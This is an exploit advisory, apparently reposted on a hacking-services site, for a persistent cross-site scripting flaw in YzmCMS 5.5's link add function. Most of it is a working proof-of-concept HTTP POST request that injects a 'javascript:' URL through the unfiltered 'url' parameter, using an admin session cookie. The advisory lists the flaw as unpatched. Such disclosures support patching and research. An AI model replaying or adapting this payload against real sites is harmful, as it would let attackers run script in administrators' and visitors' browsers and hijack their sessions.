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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-03-10
# Exploit Author: En
# Vendor Homepage: https://github.com/yzmcms/yzmcms
# Software Link: https://github.com/yzmcms/yzmcms
# Version: V5.5
# Category: Web Application
# Patched Version: unpatched
# Tested on: Win10x64
# Platform: PHP
# CVE : N/A
#Exploit Author: En_dust

#Description：
#The add function defined in the Application/link/controller/link.class.php file does not filter the ‘url’ parameter, causing malicious code to be executed.


#PoC：
POST /yzmcms/link/link/add.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/yzmcms/link/link/add.html
Content-Length: 130
Cookie: CNZZDATA1261218610=2106045875-1559549499-%7C1569374982; PHPSESSID=fr095t87brjfc0l7d7sgj8oml4; yzmphp_adminid=45dfDWXXjGQg2Ce7Yg7oJZbld7iy8SN43sy2SKjq; yzmphp_adminname=7e49R0HXcjLHqBu5wgd9vXbD_D-Bq3Uq8TLw5UNpi8lIAw
DNT: 1
Connection: close

name=evalWebsite&url=javascript%3Aalert(%2FXSS%2F)&username=&email=&linktype=0&logo=&typeid=0&msg=&listorder=1&status=1&dosubmit=1